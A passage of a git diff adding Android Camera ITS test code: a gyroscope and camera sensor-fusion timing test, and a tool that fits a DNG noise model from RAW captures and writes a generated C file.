+_NUM_FRAMES_MAX = 300  # fps*test_length should be < this for smooth captures.
+_NUM_GYRO_PTS_TO_AVG = 20  # Number of gyroscope events to average.
+
+
+def _collect_data(cam, fps, w, h, test_length, rot_rig, chart_dist, log_path):
+  """Capture a new set of data from the device.
+
+  Captures camera frames while the user is moving the device in the proscribed
+  manner. Note since the capture request is for a manual request, optical
+  image stabilization (OIS) is disabled.
+
+  Args:
+    cam: camera object.
+    fps: frames per second capture rate.
+    w: pixel width of frames.
+    h: pixel height of frames.
+    test_length: length of time for test in seconds.
+    rot_rig: dict with 'cntl' and 'ch' defined.
+    chart_dist: float value of distance to chart in meters.
+    log_path: location to save data.
+
+  Returns:
+    frames: list of RGB images as numpy arrays.
+  """
+  logging.debug('Starting sensor event collection')
+  props = cam.get_camera_properties()
+  props = cam.override_with_hidden_physical_camera_props(props)
+  camera_properties_utils.skip_unless(
+      camera_properties_utils.sensor_fusion_capable(props))
+
+  # Start camera rotation.
+  p = multiprocessing.Process(
+      target=sensor_fusion_utils.rotation_rig,
+      args=(rot_rig['cntl'], rot_rig['ch'], _NUM_ROTATIONS,))
+  p.start()
+
+  cam.start_sensor_events()
+
+  # Sleep a while for gyro events to stabilize.
+  time.sleep(_GYRO_INIT_WAIT_TIME)
+
+  # Capture frames.
+  facing = props['android.lens.facing']
+  if (facing != camera_properties_utils.LENS_FACING_FRONT and
+      facing != camera_properties_utils.LENS_FACING_BACK):
+    raise AssertionError(f'Unknown lens facing: {facing}.')
+
+  fmt = {'format': 'yuv', 'width': w, 'height': h}
+  s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+  req = capture_request_utils.manual_capture_request(s, e)
+  capture_request_utils.turn_slow_filters_off(props, req)
+  fd_min = props['android.lens.info.minimumFocusDistance']
+  fd_chart = 1 / chart_dist
+  req['android.lens.focusDistance'] = min(fd_min, fd_chart)
+  req['android.control.aeTargetFpsRange'] = [fps, fps]
+  req['android.sensor.frameDuration'] = int(1 / _NSEC_TO_SEC / fps)
+  logging.debug('Capturing %dx%d with sens. %d, exp. time %.1fms at %dfps',
+                w, h, s, e / _MSEC_TO_NSEC, fps)
+  caps = cam.do_capture([req] * int(fps * test_length), fmt)
+
+  # Capture a bit more gyro samples for use in get_best_alignment_offset
+  time.sleep(_GYRO_POST_WAIT_TIME)
+
+  # Get the gyro events.
+  logging.debug('Reading out inertial sensor events')
+  gyro = cam.get_sensor_events()['gyro']
+  logging.debug('Number of gyro samples %d', len(gyro))
+
+  # Combine the gyro and camera events into a single structure.
+  logging.debug('Dumping event data')
+  starts = [cap['metadata']['android.sensor.timestamp'] for cap in caps]
+  exptimes = [cap['metadata']['android.sensor.exposureTime'] for cap in caps]
+  readouts = [cap['metadata']['android.sensor.rollingShutterSkew']
+              for cap in caps]
+  events = {'gyro': gyro, 'cam': list(zip(starts, exptimes, readouts)),
+            'facing': facing}
+  with open('%s_events.txt' % os.path.join(log_path, _NAME), 'w') as f:
+    f.write(json.dumps(events))
+
+  # Convert frames to RGB.
+  logging.debug('Dumping frames')
+  frames = []
+  for i, cap in enumerate(caps):
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+    frames.append(img)
+    image_processing_utils.write_image(img, '%s_frame%03d.png' % (
+        os.path.join(log_path, _NAME), i))
+  return events, frames
+
+
+def _plot_gyro_events(gyro_events, log_path):
+  """Plot x, y, and z on the gyro events.
+
+  Samples are grouped into NUM_GYRO_PTS_TO_AVG groups and averaged to minimize
+  random spikes in data.
+
+  Args:
+    gyro_events: List of gyroscope events.
+    log_path: Text to location to save data.
+  """
+
+  nevents = (len(gyro_events) // _NUM_GYRO_PTS_TO_AVG) * _NUM_GYRO_PTS_TO_AVG
+  gyro_events = gyro_events[:nevents]
+  times = np.array([(e['time'] - gyro_events[0]['time']) * _NSEC_TO_SEC
+                    for e in gyro_events])
+  x = np.array([e['x'] for e in gyro_events])
+  y = np.array([e['y'] for e in gyro_events])
+  z = np.array([e['z'] for e in gyro_events])
+
+  # Group samples into size-N groups & average each together to minimize random
+  # spikes in data.
+  times = times[_NUM_GYRO_PTS_TO_AVG//2::_NUM_GYRO_PTS_TO_AVG]
+  x = x.reshape(nevents//_NUM_GYRO_PTS_TO_AVG, _NUM_GYRO_PTS_TO_AVG).mean(1)
+  y = y.reshape(nevents//_NUM_GYRO_PTS_TO_AVG, _NUM_GYRO_PTS_TO_AVG).mean(1)
+  z = z.reshape(nevents//_NUM_GYRO_PTS_TO_AVG, _NUM_GYRO_PTS_TO_AVG).mean(1)
+
+  pylab.figure(_NAME)
+  # x & y on same axes
+  pylab.subplot(2, 1, 1)
+  pylab.title(_NAME + ' (mean of %d pts)' % _NUM_GYRO_PTS_TO_AVG)
+  pylab.plot(times, x, 'r', label='x')
+  pylab.plot(times, y, 'g', label='y')
+  pylab.ylabel('gyro x & y movement (rads/s)')
+  pylab.legend()
+
+  # z on separate axes
+  pylab.subplot(2, 1, 2)
+  pylab.plot(times, z, 'b', label='z')
+  pylab.xlabel('time (seconds)')
+  pylab.ylabel('gyro z movement (rads/s)')
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_gyro_events.png' % (os.path.join(log_path, _NAME)))
+
+
+def _get_cam_times(cam_events):
+  """Get the camera frame times.
+
+  Assign a time to each frame. Assumes the image is instantly captured in the
+  middle of exposure.
+
+  Args:
+    cam_events: List of (start_exposure, exposure_time, readout_duration)
+                tuples, one per captured frame, with times in nanoseconds.
+
+  Returns:
+    frame_times: Array of N times, one corresponding to the 'middle' of the
+                 exposure of each frame.
+  """
+  starts = np.array([start for start, exptime, readout in cam_events])
+  exptimes = np.array([exptime for start, exptime, readout in cam_events])
+  readouts = np.array([readout for start, exptime, readout in cam_events])
+  frame_times = starts + (exptimes + readouts) / 2.0
+  return frame_times
+
+
+def _procrustes_rotation(x, y):
+  """Performs a Procrustes analysis to conform points in x to y.
+
+  Procrustes analysis determines a linear transformation (translation,
+  reflection, orthogonal rotation and scaling) of the points in y to best
+  conform them to the points in matrix x, using the sum of squared errors
+  as the metric for fit criterion.
+
+  Args:
+    x: Target coordinate matrix
+    y: Input coordinate matrix
+
+  Returns:
+    The rotation component of the transformation that maps x to y.
+  """
+  x0 = (x-x.mean(0)) / np.sqrt(((x-x.mean(0))**2.0).sum())
+  y0 = (y-y.mean(0)) / np.sqrt(((y-y.mean(0))**2.0).sum())
+  u, _, vt = np.linalg.svd(np.dot(x0.T, y0), full_matrices=False)
+  return np.dot(vt.T, u.T)
+
+
+def _get_cam_rotations(frames, facing, h, log_path):
+  """Get the rotations of the camera between each pair of frames.
+
+  Takes N frames and returns N-1 angular displacements corresponding to the
+  rotations between adjacent pairs of frames, in radians.
+  Only takes feature points from center so that rotation measured has less
+  rolling shutter effect.
+  Requires FEATURE_PTS_MIN to have enough data points for accurate measurements.
+  Uses FEATURE_PARAMS for cv2 to identify features in checkerboard images.
+  Ensures camera rotates enough.
+
+  Args:
+    frames: List of N images (as RGB numpy arrays).
+    facing: Direction camera is facing.
+    h: Pixel height of each frame.
+    log_path: Location for data.
+
+  Returns:
+    numpy array of N-1 camera rotation measurements (rad).
+  """
+  gframes = []
+  for frame in frames:
+    frame = (frame * 255.0).astype(np.uint8)  # cv2 uses [0, 255]
+    gframes.append(cv2.cvtColor(frame, cv2.COLOR_RGB2GRAY))
+  rots = []
+
+  ymin = h * (1 - _FEATURE_MARGIN) / 2
+  ymax = h * (1 + _FEATURE_MARGIN) / 2
+  for i in range(1, len(gframes)):
+    gframe0 = gframes[i-1]
+    gframe1 = gframes[i]
+    p0 = cv2.goodFeaturesToTrack(gframe0, mask=None, **_CV2_FEATURE_PARAMS)
+    # p0's shape is N * 1 * 2
+    mask = (p0[:, 0, 1] >= ymin) & (p0[:, 0, 1] <= ymax)
+    p0_filtered = p0[mask]
+    num_features = len(p0_filtered)
+    if num_features < _FEATURE_PTS_MIN:
+      raise AssertionError(
+          f'Not enough features points in frame {i-1}. Need at least '
+          f'{_FEATURE_PTS_MIN} features, got {num_features}.')
+    else:
+      logging.debug('Number of features in frame %s is %d',
+                    str(i - 1).zfill(3), num_features)
+    p1, st, _ = cv2.calcOpticalFlowPyrLK(gframe0, gframe1, p0_filtered, None,
+                                         **_CV2_LK_PARAMS)
+    tform = _procrustes_rotation(p0_filtered[st == 1], p1[st == 1])
+    if facing == camera_properties_utils.LENS_FACING_BACK:
+      rot = -math.atan2(tform[0, 1], tform[0, 0])
+    elif facing == camera_properties_utils.LENS_FACING_FRONT:
+      rot = math.atan2(tform[0, 1], tform[0, 0])
+    else:
+      raise AssertionError(f'Unknown lens facing: {facing}.')
+    rots.append(rot)
+    if i == 1:
+      # Save a debug visualization of the features that are being
+      # tracked in the first frame.
+      frame = frames[i]
+      for x, y in p0_filtered[st == 1]:
+        cv2.circle(frame, (x, y), 3, (100, 100, 255), -1)
+      image_processing_utils.write_image(
+          frame, '%s_features.png' % os.path.join(log_path, _NAME))
+  rots = np.array(rots)
+  rot_per_frame_max = max(abs(rots))
+  logging.debug('Max rotation: %.4f radians', rot_per_frame_max)
+  if rot_per_frame_max < _ROTATION_PER_FRAME_MIN:
+    raise AssertionError(f'Device not moved enough: {rot_per_frame_max:.3f} '
+                         f'movement. THRESH: {_ROTATION_PER_FRAME_MIN}.')
+
+  return rots
+
+
+def _plot_best_shift(best, coeff, x, y, log_path):
+  """Saves a plot the best offset, fit data and x,y data.
+
+  Args:
+    best: x value of best fit data.
+    coeff: 3 element np array. Return of numpy.polyfit(x,y) for 2nd order fit.
+    x: np array of x data that was fit.
+    y: np array of y data that was fit.
+    log_path: where to store data.
+  """
+  xfit = np.arange(x[0], x[-1], 0.05).tolist()
+  yfit = [coeff[0]*x*x + coeff[1]*x + coeff[2] for x in xfit]
+  pylab.figure()
+  pylab.title(f'{_NAME} Gyro/Camera Time Correlation')
+  pylab.plot(x, y, 'ro', label='data', alpha=0.7)
+  pylab.plot(xfit, yfit, 'b', label='fit', alpha=0.7)
+  pylab.plot(best, min(yfit), 'g*', label='best', markersize=10)
+  pylab.ticklabel_format(axis='y', style='sci', scilimits=(-3, -3))
+  pylab.xlabel('Relative horizontal shift between curves (ms)')
+  pylab.ylabel('Correlation distance')
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_plot_shifts.png' % os.path.join(log_path, _NAME))
+
+
+def _plot_rotations(cam_rots, gyro_rots, log_path):
+  """Saves a plot of the camera vs. gyro rotational measurements.
+
+  Args:
+    cam_rots: Array of camera rotation measurements (rads).
+    gyro_rots: Array of gyro rotation measurements (rads).
+    log_path: Location to store data.
+  """
+  # For plot, scale rotations to degrees.
+  pylab.figure()
+  pylab.title(f'{_NAME} Gyro/Camera Rotations')
+  pylab.plot(range(len(cam_rots)), cam_rots*_RADS_TO_DEGS, '-r.',
+             label='camera', alpha=0.7)
+  pylab.plot(range(len(gyro_rots)), gyro_rots*_RADS_TO_DEGS, '-b.',
+             label='gyro', alpha=0.7)
+  pylab.xlabel('Camera frame number')
+  pylab.ylabel('Angular displacement between adjacent camera frames (degrees)')
+  pylab.xlim([0, len(cam_rots)])
+  pylab.legend()
+  matplotlib.pyplot.savefig(
+      '%s_plot_rotations.png' % os.path.join(log_path, _NAME))
+
+
+class SensorFusionTest(its_base_test.ItsBaseTest):
+  """Tests if image and motion sensor events are well synchronized.
+
+  Tests gyro and camera timestamp differences while camera is rotating.
+  Test description is in SensorFusion.pdf file. Test rotates phone in proscribed
+  manner and captures images.
+
+  Camera rotation is determined from images and from gyroscope events.
+  Timestamp offset between gyro and camera is determined using scipy
+  spacial correlation distance. The min value is determined as the optimum.
+
+  PASS/FAIL based on the offset and also the correlation distance.
+  """
+
+  def _assert_gyro_encompasses_camera(self, cam_times, gyro_times):
+    """Confirms the camera events are bounded by the gyroscope events.
+
+    Also ensures:
+      1. Camera frame range is less than MAX_CAMERA_FRAME_RANGE. When camera
+      frame range is significantly larger than spec, the system is usually in a
+      busy/bad state.
+      2. Gyro samples per second are greater than GYRO_SAMP_RATE_MIN
+
+    Args:
+      cam_times: numpy array of camera times.
+      gyro_times: List of 'gyro' times.
+    """
+    min_cam_time = min(cam_times) * _NSEC_TO_SEC
+    max_cam_time = max(cam_times) * _NSEC_TO_SEC
+    min_gyro_time = min(gyro_times) * _NSEC_TO_SEC
+    max_gyro_time = max(gyro_times) * _NSEC_TO_SEC
+    if not (min_cam_time > min_gyro_time and max_cam_time < max_gyro_time):
+      raise AssertionError(
+          f'Camera timestamps [{min_cam_time}, {max_cam_time}] not '
+          f'enclosed by gyro timestamps [{min_gyro_time}, {max_gyro_time}]')
+
+    cam_frame_range = max_cam_time - min_cam_time
+    logging.debug('Camera frame range: %f', cam_frame_range)
+
+    gyro_time_range = max_gyro_time - min_gyro_time
+    gyro_smp_per_sec = len(gyro_times) / gyro_time_range
+    logging.debug('Gyro samples per second: %f', gyro_smp_per_sec)
+    if cam_frame_range > _CAM_FRAME_RANGE_MAX:
+      raise AssertionError(f'Camera frame range, {cam_frame_range}s, too high!')
+    if gyro_smp_per_sec < _GYRO_SAMP_RATE_MIN:
+      raise AssertionError(f'Gyro sample rate, {gyro_smp_per_sec}S/s, low!')
+
+  def test_sensor_fusion(self):
+    rot_rig = {}
+    fps = float(self.fps)
+    img_w, img_h = self.img_w, self.img_h
+    test_length = float(self.test_length)
+    log_path = self.log_path
+    chart_distance = self.chart_distance * _CM_TO_M
+
+    if img_w * img_h > _IMG_SIZE_MAX or fps * test_length > _NUM_FRAMES_MAX:
+      logging.debug(
+          'Warning: Your test parameters may require fast write speeds'
+          ' to run smoothly.  If you run into problems, consider'
+          " smaller values of 'w', 'h', 'fps', or 'test_length'.")
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+
+      rot_rig['cntl'] = self.rotator_cntl
+      rot_rig['ch'] = self.rotator_ch
+      events, frames = _collect_data(cam, fps, img_w, img_h, test_length,
+                                     rot_rig, chart_distance, log_path)
+
+    _plot_gyro_events(events['gyro'], log_path)
+
+    # Validity check on gyro/camera timestamps
+    cam_times = _get_cam_times(events['cam'])
+    gyro_times = [e['time'] for e in events['gyro']]
+    self._assert_gyro_encompasses_camera(cam_times, gyro_times)
+
+    # Compute cam rotation displacement(rads) between pairs of adjacent frames.
+    cam_rots = _get_cam_rotations(frames, events['facing'], img_h, log_path)
+    logging.debug('cam_rots: %s', str(cam_rots))
+    gyro_rots = sensor_fusion_utils.get_gyro_rotations(
+        events['gyro'], cam_times)
+    _plot_rotations(cam_rots, gyro_rots, log_path)
+
+    # Find the best offset.
+    offset_ms, coeffs, candidates, distances = sensor_fusion_utils.get_best_alignment_offset(
+        cam_times, cam_rots, events['gyro'])
+    _plot_best_shift(offset_ms, coeffs, candidates, distances, log_path)
+
+    # Calculate correlation distance with best offset.
+    corr_dist = scipy.spatial.distance.correlation(cam_rots, gyro_rots)
+    logging.debug('Best correlation of %f at shift of %.3fms',
+                  corr_dist, offset_ms)
+
+    # Assert PASS/FAIL criteria.
+    if corr_dist > _CORR_DIST_THRESH_MAX:
+      raise AssertionError(f'Poor gyro/camera correlation. '
+                           f'Corr: {corr_dist}, TOL: {_CORR_DIST_THRESH_MAX}.')
+    if abs(offset_ms) > _OFFSET_MS_THRESH_MAX:
+      raise AssertionError('Offset too large. Measured (ms): '
+                           f'{offset_ms:.3f}, TOL: {_OFFSET_MS_THRESH_MAX}.')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tools/DngNoiseModel.pdf b/apps/CameraITS2.0/tools/DngNoiseModel.pdf
new file mode 100644
index 0000000..7cbdbd0
--- /dev/null
+++ b/apps/CameraITS2.0/tools/DngNoiseModel.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tools/dng_noise_model.py b/apps/CameraITS2.0/tools/dng_noise_model.py
new file mode 100644
index 0000000..71fbcc3
--- /dev/null
+++ b/apps/CameraITS2.0/tools/dng_noise_model.py
@@ -0,0 +1,350 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import math
+import os.path
+import textwrap
+from matplotlib import pylab
+import matplotlib.pyplot as plt
+from mobly import test_runner
+import numpy as np
+import scipy.signal
+import scipy.stats
+
+import its_base_test
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+
+_BAYER_LIST = ('R', 'GR', 'GB', 'B')
+_BRACKET_MAX = 8  # Exposure bracketing range in stops
+_BRACKET_FACTOR = math.pow(2, _BRACKET_MAX)
+_PLOT_COLORS = 'rygcbm'  # Colors used for plotting the data for each exposure.
+_MAX_SCALE_FUDGE = 1.1
+_MAX_SIGNAL_VALUE = 0.25  # Maximum value to allow mean of the tiles to go.
+_NAME = os.path.basename(__file__).split('.')[0]
+_RTOL_EXP_GAIN = 0.97
+_STEPS_PER_STOP = 2  # How many sensitivities per stop to sample.
+_TILE_SIZE = 32  # Tile size to compute mean/variance. Large tiles may have
+                 # their variance corrupted by low freq image changes.
+
+
+def check_auto_exposure_targets(auto_e, sens_min, sens_max, props):
+  """Checks if AE too bright for highest gain & too dark for lowest gain."""
+
+  min_exposure_ns, max_exposure_ns = props[
+      'android.sensor.info.exposureTimeRange']
+  if auto_e < min_exposure_ns*sens_max:
+    raise AssertionError('Scene is too bright to properly expose at highest '
+                         f'sensitivity: {sens_max}')
+  if auto_e*_BRACKET_FACTOR > max_exposure_ns*sens_min:
+    raise AssertionError('Scene is too dark to properly expose at lowest '
+                         f'sensitivity: {sens_min}')
+
+
+def create_noise_model_code(noise_model_a, noise_model_b,
+                            noise_model_c, noise_model_d,
+                            sens_min, sens_max, digital_gain_cdef, log_path):
+  """Creates the c file for the noise model."""
+
+  noise_model_a_array = ','.join([str(i) for i in noise_model_a])
+  noise_model_b_array = ','.join([str(i) for i in noise_model_b])
+  noise_model_c_array = ','.join([str(i) for i in noise_model_c])
+  noise_model_d_array = ','.join([str(i) for i in noise_model_d])
+  code = textwrap.dedent(f"""\
+          /* Generated test code to dump a table of data for external validation
+           * of the noise model parameters.
+           */
+          #include <stdio.h>
+          #include <assert.h>
+          double compute_noise_model_entry_S(int plane, int sens);
+          double compute_noise_model_entry_O(int plane, int sens);
+          int main(void) {{
+              for (int plane = 0; plane < {len(noise_model_a)}; plane++) {{
+                  for (int sens = {sens_min}; sens <= {sens_max}; sens += 100) {{
+                      double o = compute_noise_model_entry_O(plane, sens);
+                      double s = compute_noise_model_entry_S(plane, sens);
+                      printf("%d,%d,%lf,%lf\\n", plane, sens, o, s);
+                  }}
+              }}
+              return 0;
+          }}
+
+          /* Generated functions to map a given sensitivity to the O and S noise
+           * model parameters in the DNG noise model. The planes are in
+           * R, Gr, Gb, B order.
+           */
+          double compute_noise_model_entry_S(int plane, int sens) {{
+              static double noise_model_A[] = {{ {noise_model_a_array:s} }};
+              static double noise_model_B[] = {{ {noise_model_b_array:s} }};
+              double A = noise_model_A[plane];
+              double B = noise_model_B[plane];
+              double s = A * sens + B;
+              return s < 0.0 ? 0.0 : s;
+          }}
+
+          double compute_noise_model_entry_O(int plane, int sens) {{
+              static double noise_model_C[] = {{ {noise_model_c_array:s} }};
+              static double noise_model_D[] = {{ {noise_model_d_array:s} }};
+              double digital_gain = {digital_gain_cdef:s};
+              double C = noise_model_C[plane];
+              double D = noise_model_D[plane];
+              double o = C * sens * sens + D * digital_gain * digital_gain;
+              return o < 0.0 ? 0.0 : o;
+          }}
+          """)
+  text_file = open(os.path.join(log_path, 'noise_model.c'), 'w')
+  text_file.write('%s' % code)
+  text_file.close()
+
+
+class DngNoiseModel(its_base_test.ItsBaseTest):
+  """Create DNG noise model.
+
+  Captures RAW images with increasing analog gains to create the model.
+  def requires 'test' in name to actually run.
+  """
+
+  def test_dng_noise_model_generation(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # Get basic properties we need.
+      sens_min, sens_max = props['android.sensor.info.sensitivityRange']
+      sens_max_analog = props['android.sensor.maxAnalogSensitivity']
+      sens_max_meas = sens_max_analog
+      white_level = props['android.sensor.info.whiteLevel']
+
+      logging.debug('Sensitivity range: [%f, %f]', sens_min, sens_max)
+      logging.debug('Max analog sensitivity: %f', sens_max_analog)
+
+      # Do AE to get a rough idea of where we are.
+      iso_ae, exp_ae, _, _, _ = cam.do_3a(
+          get_results=True, do_awb=False, do_af=False)
+
+      # Underexpose to get more data for low signal levels.
+      auto_e = iso_ae * exp_ae / _BRACKET_FACTOR
+      check_auto_exposure_targets(auto_e, sens_min, sens_max_meas, props)
+
+      # Focus at zero to intentionally blur the scene as much as possible.
+      f_dist = 0.0
+
+      # Start the sensitivities at the minimum.
+      iso = sens_min
+      samples = [[], [], [], []]
+      plots = []
+      measured_models = [[], [], [], []]
+      color_plane_plots = {}
+      while int(round(iso)) <= sens_max_meas:
+        iso_int = int(round(iso))
+        logging.debug('ISO %d', iso_int)
+        fig, [[plt_r, plt_gr], [plt_gb, plt_b]] = plt.subplots(
+            2, 2, figsize=(11, 11))
+        fig.gca()
+        color_plane_plots[iso_int] = [plt_r, plt_gr, plt_gb, plt_b]
+        fig.suptitle('ISO %d' % iso_int, x=0.54, y=0.99)
+        for i, plot in enumerate(color_plane_plots[iso_int]):
+          plot.set_title('%s' % _BAYER_LIST[i])
+          plot.set_xlabel('Mean signal level')
+          plot.set_ylabel('Variance')
+
+        samples_s = [[], [], [], []]
+        for b in range(_BRACKET_MAX):
+          # Get the exposure for this sensitivity and exposure time.
+          exposure = int(math.pow(2, b)*auto_e/iso)
+          logging.debug('exp %.3fms', round(exposure*1.0E-6, 3))
+          req = capture_request_utils.manual_capture_request(iso_int, exposure,
+                                                             f_dist)
+          fmt_raw = {'format': 'rawStats',
+                     'gridWidth': _TILE_SIZE,
+                     'gridHeight': _TILE_SIZE}
+          cap = cam.do_capture(req, fmt_raw)
+          mean_img, var_img = image_processing_utils.unpack_rawstats_capture(
+              cap)
+          idxs = image_processing_utils.get_canonical_cfa_order(props)
+          means = [mean_img[:, :, i] for i in idxs]
+          vars_ = [var_img[:, :, i] for i in idxs]
+
+          s_read = cap['metadata']['android.sensor.sensitivity']
+          if not 1.0 >= s_read/float(iso_int) >= _RTOL_EXP_GAIN:
+            raise AssertionError(
+                f's_write: {iso}, s_read: {s_read}, RTOL: {_RTOL_EXP_GAIN}')
+          logging.debug('ISO_write: %d, ISO_read: %d', iso_int, s_read)
+
+          for pidx in range(len(means)):
+            plot = color_plane_plots[iso_int][pidx]
+
+            # convert_capture_to_planes normalizes the range to [0, 1], but
+            # without subtracting the black level.
+            black_level = image_processing_utils.get_black_level(
+                pidx, props, cap['metadata'])
+            means_p = (means[pidx] - black_level)/(white_level - black_level)
+            vars_p = vars_[pidx]/((white_level - black_level)**2)
+
+            # TODO(dsharlet): It should be possible to account for low
+            # frequency variation by looking at neighboring means, but I
+            # have not been able to make this work.
+
+            means_p = np.asarray(means_p).flatten()
+            vars_p = np.asarray(vars_p).flatten()
+
+            samples_e = []
+            for (mean, var) in zip(means_p, vars_p):
+              # Don't include the tile if it has samples that might be clipped.
+              if mean + 2*math.sqrt(max(var, 0)) < _MAX_SIGNAL_VALUE:
+                samples_e.append([mean, var])
+
+            if samples_e:
+              means_e, vars_e = zip(*samples_e)
+              color_plane_plots[iso_int][pidx].plot(
+                  means_e, vars_e, _PLOT_COLORS[b%len(_PLOT_COLORS)] + '.',
+                  alpha=0.5, markersize=1)
+              samples_s[pidx].extend(samples_e)
+
+        for (pidx, p) in enumerate(samples_s):
+          [slope, intercept, rvalue, _, _] = scipy.stats.linregress(
+              samples_s[pidx])
+          measured_models[pidx].append([iso_int, slope, intercept])
+          logging.debug('Sensitivity %d: %e*y + %e (R=%f)', iso_int, slope,
+                        intercept, rvalue)
+
+          # Add the samples for this sensitivity to the global samples list.
+          samples[pidx].extend(
+              [(iso_int, mean, var) for (mean, var) in samples_s[pidx]])
+
+          # Add the linear fit to subplot for this sensitivity.
+          color_plane_plots[iso_int][pidx].plot(
+              [0, _MAX_SIGNAL_VALUE],
+              [intercept, intercept + slope * _MAX_SIGNAL_VALUE],
+              'rgkb'[pidx] + '--',
+              label='Linear fit')
+
+          xmax = max([max([x for (x, _) in p]) for p in samples_s
+                     ]) * _MAX_SCALE_FUDGE
+          ymax = (intercept + slope * xmax) * _MAX_SCALE_FUDGE
+          color_plane_plots[iso_int][pidx].set_xlim(xmin=0, xmax=xmax)
+          color_plane_plots[iso_int][pidx].set_ylim(ymin=0, ymax=ymax)
+          color_plane_plots[iso_int][pidx].legend()
+          pylab.tight_layout()
+
+        fig.savefig(
+            '%s_samples_iso%04d.png' % (os.path.join(log_path, _NAME), iso_int))
+        plots.append([iso_int, fig])
+
+        # Move to the next sensitivity.
+        iso *= math.pow(2, 1.0/_STEPS_PER_STOP)
+
+    # Do model plots
+    (fig, (plt_slope, plt_intercept)) = plt.subplots(2, 1, figsize=(11, 8.5))
+    plt_slope.set_title('Noise model')
+    plt_slope.set_ylabel('Slope')
+    plt_intercept.set_xlabel('ISO')
+    plt_intercept.set_ylabel('Intercept')
+
+    noise_model = []
+    for (pidx, p) in enumerate(measured_models):
+      # Grab the sensitivities and line parameters from each sensitivity.
+      slp_measured = [e[1] for e in measured_models[pidx]]
+      int_measured = [e[2] for e in measured_models[pidx]]
+      sens = np.asarray([e[0] for e in measured_models[pidx]])
+      sens_sq = np.square(sens)
+
+      # Use a global linear optimization to fit the noise model.
+      gains = np.asarray([s[0] for s in samples[pidx]])
+      means = np.asarray([s[1] for s in samples[pidx]])
+      vars_ = np.asarray([s[2] for s in samples[pidx]])
+      gains = gains.flatten()
+      means = means.flatten()
+      vars_ = vars_.flatten()
+
+      # Define digital gain as the gain above the max analog gain
+      # per the Camera2 spec. Also, define a corresponding C
+      # expression snippet to use in the generated model code.
+      digital_gains = np.maximum(gains/sens_max_analog, 1)
+      if not np.all(digital_gains == 1):
+        raise AssertionError(f'Digital gain! gains: {gains}, '
+                             f'Max analog gain: {sens_max_analog}.')
+      digital_gain_cdef = '(sens / %d.0) < 1.0 ? 1.0 : (sens / %d.0)' % (
+          sens_max_analog, sens_max_analog)
+
+      # Divide the whole system by gains*means.
+      f = lambda x, a, b, c, d: (c*(x[0]**2)+d+(x[1])*a*x[0]+(x[1])*b)/(x[0])
+      result, _ = scipy.optimize.curve_fit(f, (gains, means), vars_/(gains))
+
+      a_p, b_p, c_p, d_p = result[0:4]
+      noise_model.append(result[0:4])
+
+      # Plot noise model components with the values predicted by the model.
+      slp_model = result[0]*sens + result[1]
+      int_model = result[2]*sens_sq + result[3]*np.square(np.maximum(
+          sens/sens_max_analog, 1))
+
+      plt_slope.loglog(sens, slp_measured, 'rgkb'[pidx]+'+', basex=10,
+                       basey=10, label='Measured')
+      plt_slope.loglog(sens, slp_model, 'rgkb'[pidx]+'x', basex=10, basey=10,
+                       label='Model')
+      plt_intercept.loglog(sens, int_measured, 'rgkb'[pidx]+'+', basex=10,
+                           basey=10, label='Measured')
+      plt_intercept.loglog(sens, int_model, 'rgkb'[pidx]+'x', basex=10,
+                           basey=10, label='Model')
+    plt_slope.legend()
+    plt_intercept.legend()
+    fig.savefig('%s.png' % os.path.join(log_path, _NAME))
+
+    # Generate individual noise model components
+    noise_model_a, noise_model_b, noise_model_c, noise_model_d = zip(
+        *noise_model)
+
+    # Add models to subplots and re-save
+    for [s, fig] in plots:  # re-step through figs...
+      dig_gain = max(s/sens_max_analog, 1)
+      fig.gca()
+      for (pidx, p) in enumerate(measured_models):
+        slope = noise_model_a[pidx]*s + noise_model_b[pidx]
+        intercept = noise_model_c[pidx]*s**2 + noise_model_d[pidx]*dig_gain**2
+        color_plane_plots[s][pidx].plot(
+            [0, _MAX_SIGNAL_VALUE],
+            [intercept, intercept+slope*_MAX_SIGNAL_VALUE],
+            'rgkb'[pidx]+'-', label='Model', alpha=0.5)
+        color_plane_plots[s][pidx].legend(loc='upper left')
+      fig.savefig(
+          '%s_samples_iso%04d.png' % (os.path.join(log_path, _NAME), s))
+
+    # Validity checks on model: read noise > 0, positive slope.
+    for i, _ in enumerate(_BAYER_LIST):
+      read_noise = noise_model_c[i] * sens_min * sens_min + noise_model_d[i]
+      if read_noise <= 0:
+        raise AssertionError(f'{_BAYER_LIST[i]} model min ISO noise < 0! '
+                             f'C: {noise_model_c[i]:.4e}, '
+                             f'D: {noise_model_d[i]:.4e}, '
+                             f'read_noise: {read_noise:.4e}')
+      if noise_model_c[i] <= 0:
+        raise AssertionError(f'{_BAYER_LIST[i]} model slope is negative. '
+                             f' slope={noise_model_c[i]:.4e}')
+
+    # Generate the noise model file.
+    create_noise_model_code(
+        noise_model_a, noise_model_b, noise_model_c, noise_model_d,
+        sens_min, sens_max, digital_gain_cdef, log_path)
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tools/run_all_tests.py b/apps/CameraITS2.0/tools/run_all_tests.py
new file mode 100644
index 0000000..1dbaab2
--- /dev/null
+++ b/apps/CameraITS2.0/tools/run_all_tests.py
@@ -0,0 +1,481 @@
+# Copyright 2014 The Android Open Source Project
+#
